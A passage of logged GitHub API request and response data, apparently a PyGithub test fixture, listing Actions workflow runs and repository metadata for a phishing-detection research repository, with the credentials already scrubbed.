tps://github.com/ReDASers/Phishing-Detection/actions/runs/40904787","pull_requests":[],"created_at":"2020-02-17T22:34:37Z","updated_at":"2020-02-17T22:38:40Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/464149360","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"21fc1de8213e0e2d14e4f212495dcfcee3cdf71b","tree_id":"0b321623e6e6e741b23c818f1d796d535d3bf02c","message":"updated Config file: added LTree_Features","timestamp":"2020-02-17T22:33:05Z","author":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"},"committer":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} https GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runs?branch=API_Flatten {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b4ee4d3faeb5295c6c369f73cdbc296e3f3a2e80129325f0e63e75c76dba1aba"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4907'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '93'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14F:69D7:9405C:F967B:5F987C9F')] {"total_count":16,"workflow_runs":[{"id":287515889,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1ODg5","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":281,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285627062,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI3MDYy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515889","pull_requests":[],"created_at":"2020-10-04T06:36:24Z","updated_at":"2020-10-04T06:39:08Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285627062","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515722,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1NzIy","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":1070,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285626838,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI2ODM4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515722","pull_requests":[],"created_at":"2020-10-04T06:36:21Z","updated_at":"2020-10-04T06:50:44Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285626838","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url"